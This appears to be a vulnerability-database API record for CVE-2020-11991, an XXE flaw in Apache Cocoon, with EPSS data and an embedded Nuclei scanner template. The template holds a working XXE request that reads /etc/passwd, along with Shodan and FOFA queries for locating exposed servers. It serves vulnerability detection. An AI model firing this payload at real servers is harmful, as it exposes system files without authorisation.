{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-11991/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-11991/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-11991/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-11991/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-11991/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-11991"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-11991"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.72456,
      "kev": false,
      "percentile": 0.99414
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2020/CVE-2020-11991.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2020-11991\n\ninfo:\n  name: Apache Cocoon 2.1.12 - XML Injection\n  author: pikpikcu,diedromeo\n  severity: high\n  description: |\n    Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.\n  impact: |\n    Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.\n  remediation: |\n    Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.\n  reference:\n    - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-11991\n    - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E\n    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/webapp/samples/stream/sitemap.xmap\n    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/java/org/apache/cocoon/generation/StreamGenerator.java\n    - https://github.com/apache/cocoon/commit/8115f6ce315e306807b224f081fe06a27592c446\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2020-11991\n    cwe-id: CWE-611\n    epss-score: 0.72456\n    epss-percentile: 0.99414\n    cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: cocoon\n    shodan-query:\n      - http.html:\"Apache Cocoon\"\n      - http.html:\"apache cocoon\"\n    fofa-query: body=\"apache cocoon\"\n  tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /samples/process-order HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\"?>\n        <!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n        <userInfo>\n        <firstName>John</firstName>\n        <lastName>&ent;</lastName>\n        </userInfo>\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207f8b391055659f0c8eaaf8965eb0eb0bd98c832ccd5f4d0c2ec7fb33e0cafb95022100b8e4b0484bba9e4e91cb7b8330139d471c0176222dc7c46259083b7cd548d5b6:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2020-11991"
}